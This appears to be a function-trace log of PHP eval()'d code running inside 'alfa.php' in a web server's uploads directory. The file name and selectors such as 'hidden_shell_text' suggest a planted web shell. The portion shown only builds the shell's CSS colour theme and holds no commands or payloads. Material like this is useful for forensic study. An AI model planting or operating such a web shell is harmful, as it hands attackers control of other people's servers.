6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '#hidden_sh a'
7	215	0	0.044241	3532944	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'hidden_shell_text'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#00FF00', 'multi_selector' => ['#hidden_sh a' => 'color: {color};']]
7	215	1	0.044276	3532944
7	215	R			'#00FF00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#00FF00'
7	216	0	0.044302	3532944	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#00FF00'	'color: {color};'
7	216	1	0.044318	3533080
7	216	R			'color: #00FF00;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #00FF00;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '#hidden_sh a{color: #00FF00;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'hidden_shell_version'
7	217	0	0.044374	3532920	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'hidden_shell_version'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#ff0000'
7	217	1	0.044413	3532920
7	217	R			'#ff0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#ff0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.hidden_shell_version{color: #ff0000;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'shell_name'
7	218	0	0.044467	3533176	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'shell_name'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#FF0000'
7	218	1	0.044495	3533176
7	218	R			'#FF0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#FF0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.shell_name{color: #FF0000;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'main_row:hover'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.main tr:hover'
7	219	0	0.044560	3533176	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'main_row:hover'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#646464', 'multi_selector' => ['.main tr:hover' => 'background-color: {color};']]
7	219	1	0.044593	3533176
7	219	R			'#646464'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#646464'
7	220	0	0.044619	3533176	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#646464'	'background-color: {color};'
7	220	1	0.044636	3533328
7	220	R			'background-color: #646464;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'background-color: #646464;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.main tr:hover{background-color: #646464;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'main_header'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.main th'
7	221	0	0.044704	3533192	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'main_header'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main th' => 'color: {color};']]
7	221	1	0.044737	3533192
7	221	R			'#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#FFFFFF'
7	222	0	0.044762	3533192	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#FFFFFF'	'color: {color};'
7	222	1	0.044779	3533328
7	222	R			'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.main th{color: #FFFFFF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'main_name'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.main .main_name'
7	223	0	0.044852	3533176	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'main_name'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .main_name' => 'color: {color};font-weight: unset;']]
7	223	1	0.044886	3533176
7	223	R			'#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#FFFFFF'
7	224	0	0.044912	3533176	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#FFFFFF'	'color: {color};font-weight: unset;'
7	224	1	0.044933	3533336
7	224	R			'color: #FFFFFF;font-weight: unset;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #FFFFFF;font-weight: unset;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.main .main_name{color: #FFFFFF;font-weight: unset;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'main_size'
7	225	0	0.044991	3533200	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'main_size'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#67ABDF'
7	225	1	0.045020	3533200
7	225	R			'#67ABDF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#67ABDF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.main_size{color: #67ABDF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'main_modify'
7	226	0	0.045073	3533200	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'main_modify'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#67ABDF'
7	226	1	0.045101	3533200
7	226	R			'#67ABDF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#67ABDF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.main_modify{color: #67ABDF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'main_owner_group'
7	227	0	0.045153	3533200	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'main_owner_group'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#67ABDF'
7	227	1	0.045180	3533200
7	227	R			'#67ABDF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#67ABDF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.main_owner_group{color: #67ABDF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'main_green_perm'
7	228	0	0.045232	3533456	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'main_green_perm'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#25ff00'
7	228	1	0.045259	3533456
7	228	R			'#25ff00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#25ff00'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.main_green_perm{color: #25ff00;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'main_red_perm'
7	229	0	0.045311	3533456	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'main_red_perm'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#FF0000'
7	229	1	0.045339	3533456
7	229	R			'#FF0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#FF0000'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.main_red_perm{color: #FF0000;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'main_white_perm'
7	230	0	0.045391	3533456	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'main_white_perm'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#FFFFFF'
7	230	1	0.045419	3533456
7	230	R			'#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.main_white_perm{color: #FFFFFF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'beetween_perms'
7	231	0	0.045474	3533456	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	1	'beetween_perms'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = '#FFFFFF'
7	231	1	0.045501	3533456
7	231	R			'#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	604	$value = '#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	605	$css .= '.beetween_perms{color: #FFFFFF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'main_actions'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.main .actions'
7	232	0	0.045566	3533456	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'main_actions'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.main .actions' => 'color: {color};']]
7	232	1	0.045598	3533456
7	232	R			'#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#FFFFFF'
7	233	0	0.045624	3533456	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#FFFFFF'	'color: {color};'
7	233	1	0.045641	3533592
7	233	R			'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.main .actions{color: #FFFFFF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'minimize_editor_background'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.minimized-wrapper'
7	234	0	0.045709	3533432	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'minimize_editor_background'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#0e304a', 'multi_selector' => ['.minimized-wrapper' => 'background-color: {color};']]
7	234	1	0.045742	3533432
7	234	R			'#0e304a'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#0e304a'
7	235	0	0.045768	3533432	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#0e304a'	'background-color: {color};'
7	235	1	0.045786	3533584
7	235	R			'background-color: #0e304a;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'background-color: #0e304a;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.minimized-wrapper{background-color: #0e304a;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'minimize_editor_text'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.minimized-text'
7	236	0	0.045855	3533448	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'minimize_editor_text'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#f5deb3', 'multi_selector' => ['.minimized-text' => 'color: {color};']]
7	236	1	0.045888	3533448
7	236	R			'#f5deb3'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#f5deb3'
7	237	0	0.045914	3533448	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#f5deb3'	'color: {color};'
7	237	1	0.045933	3533584
7	237	R			'color: #f5deb3;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #f5deb3;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.minimized-text{color: #f5deb3;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'editor_border'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.editor-explorer,.editor-modal'
7	238	0	0.046002	3533432	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'editor_border'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#0e304a', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'border: 2px solid {color};']]
7	238	1	0.046036	3533432
7	238	R			'#0e304a'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#0e304a'
7	239	0	0.046062	3533432	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#0e304a'	'border: 2px solid {color};'
7	239	1	0.046079	3533584
7	239	R			'border: 2px solid #0e304a;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'border: 2px solid #0e304a;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.editor-explorer,.editor-modal{border: 2px solid #0e304a;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'editor_background'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.editor-explorer,.editor-modal'
7	240	0	0.046150	3533704	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'editor_background'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => 'rgba(0, 1, 23, 0.94)', 'multi_selector' => ['.editor-explorer,.editor-modal' => 'background-color: {color};']]
7	240	1	0.046185	3533704
7	240	R			'rgba(0, 1, 23, 0.94)'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = 'rgba(0, 1, 23, 0.94)'
7	241	0	0.046213	3533704	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'rgba(0, 1, 23, 0.94)'	'background-color: {color};'
7	241	1	0.046230	3533880
7	241	R			'background-color: rgba(0, 1, 23, 0.94);'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'background-color: rgba(0, 1, 23, 0.94);'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.editor-explorer,.editor-modal{background-color: rgba(0, 1, 23, 0.94);}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'editor_header_background'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.editor-header'
7	242	0	0.046302	3533728	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'editor_header_background'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => 'rgba(21, 66, 88, 0.93)', 'multi_selector' => ['.editor-header' => 'background-color: {color};']]
7	242	1	0.046336	3533728
7	242	R			'rgba(21, 66, 88, 0.93)'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = 'rgba(21, 66, 88, 0.93)'
7	243	0	0.046364	3533728	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'rgba(21, 66, 88, 0.93)'	'background-color: {color};'
7	243	1	0.046381	3533904
7	243	R			'background-color: rgba(21, 66, 88, 0.93);'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'background-color: rgba(21, 66, 88, 0.93);'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.editor-header{background-color: rgba(21, 66, 88, 0.93);}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'editor_header_text'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.editor-path'
7	244	0	0.046457	3533728	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'editor_header_text'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#00ff7f', 'multi_selector' => ['.editor-path' => 'color: {color};']]
7	244	1	0.046490	3533728
7	244	R			'#00ff7f'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#00ff7f'
7	245	0	0.046517	3533728	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#00ff7f'	'color: {color};'
7	245	1	0.046533	3533864
7	245	R			'color: #00ff7f;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #00ff7f;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.editor-path{color: #00ff7f;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'editor_header_button'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.close-button, .editor-minimize'
7	246	0	0.046601	3533688	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'editor_header_button'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#1d5673', 'multi_selector' => ['.close-button, .editor-minimize' => 'background-color: {color};']]
7	246	1	0.046635	3533688
7	246	R			'#1d5673'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#1d5673'
7	247	0	0.046660	3533688	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#1d5673'	'background-color: {color};'
7	247	1	0.046678	3533840
7	247	R			'background-color: #1d5673;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'background-color: #1d5673;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.close-button, .editor-minimize{background-color: #1d5673;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'editor_actions'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.editor_actions'
7	248	0	0.046747	3533960	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'editor_actions'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_actions' => 'color: {color};']]
7	248	1	0.046780	3533960
7	248	R			'#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#FFFFFF'
7	249	0	0.046807	3533960	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#FFFFFF'	'color: {color};'
7	249	1	0.046824	3534096
7	249	R			'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.editor_actions{color: #FFFFFF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'editor_file_info_vars'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.editor_file_info_vars'
7	250	0	0.046892	3533944	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'editor_file_info_vars'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#FFFFFF', 'multi_selector' => ['.editor_file_info_vars' => 'color: {color};']]
7	250	1	0.046925	3533944
7	250	R			'#FFFFFF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#FFFFFF'
7	251	0	0.046954	3533944	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#FFFFFF'	'color: {color};'
7	251	1	0.046971	3534080
7	251	R			'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #FFFFFF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.editor_file_info_vars{color: #FFFFFF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'editor_file_info_values'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.filestools'
7	252	0	0.047038	3533944	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'editor_file_info_values'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#67ABDF', 'multi_selector' => ['.filestools' => 'color: {color};']]
7	252	1	0.047071	3533944
7	252	R			'#67ABDF'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#67ABDF'
7	253	0	0.047097	3533944	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#67ABDF'	'color: {color};'
7	253	1	0.047114	3534080
7	253	R			'color: #67ABDF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #67ABDF;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.filestools{color: #67ABDF;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'editor_history_header'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.hheader-text,.history-clear'
7	254	0	0.047182	3533944	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'editor_history_header'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#14ff07', 'multi_selector' => ['.hheader-text,.history-clear' => 'color: {color};']]
7	254	1	0.047215	3533944
7	254	R			'#14ff07'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#14ff07'
7	255	0	0.047241	3533944	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#14ff07'	'color: {color};'
7	255	1	0.047257	3534080
7	255	R			'color: #14ff07;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #14ff07;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.hheader-text,.history-clear{color: #14ff07;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'editor_history_list'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.editor-file-name'
7	256	0	0.047325	3533944	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'editor_history_list'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#03b3a3', 'multi_selector' => ['.editor-file-name' => 'color: {color};']]
7	256	1	0.047358	3533944
7	256	R			'#03b3a3'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#03b3a3'
7	257	0	0.047384	3533944	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#03b3a3'	'color: {color};'
7	257	1	0.047401	3534080
7	257	R			'color: #03b3a3;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'color: #03b3a3;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.editor-file-name{color: #03b3a3;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'editor_history_selected_file'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.is_active'
7	258	0	0.047472	3533944	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'editor_history_selected_file'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => 'rgba(49, 55, 93, 0.77)', 'multi_selector' => ['.is_active' => 'background-color: {color};']]
7	258	1	0.047505	3533944
7	258	R			'rgba(49, 55, 93, 0.77)'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = 'rgba(49, 55, 93, 0.77)'
7	259	0	0.047533	3533944	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'rgba(49, 55, 93, 0.77)'	'background-color: {color};'
7	259	1	0.047550	3534120
7	259	R			'background-color: rgba(49, 55, 93, 0.77);'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'background-color: rgba(49, 55, 93, 0.77);'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.is_active{background-color: rgba(49, 55, 93, 0.77);}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'editor_history_file:hover'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	608	$k = '.file-holder > .history:hover'
7	260	0	0.047623	3533984	alfa_getColor	1		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	1	'editor_history_file:hover'
7		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	592	$target = ['key_color' => '#646464', 'multi_selector' => ['.file-holder > .history:hover' => 'background-color: {color};']]
7	260	1	0.047657	3533984
7	260	R			'#646464'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	609	$color = '#646464'
7	261	0	0.047683	3533984	str_replace	0		/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	3	'{color}'	'#646464'	'background-color: {color};'
7	261	1	0.047700	3534136
7	261	R			'background-color: #646464;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	610	$code = 'background-color: #646464;'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	611	$css .= '.file-holder > .history:hover{background-color: #646464;}'
6		A						/var/www/html/uploads/alfa.php(52) : runtime-created function(1) : eval()'d code	602	$key = 'input_box_border'
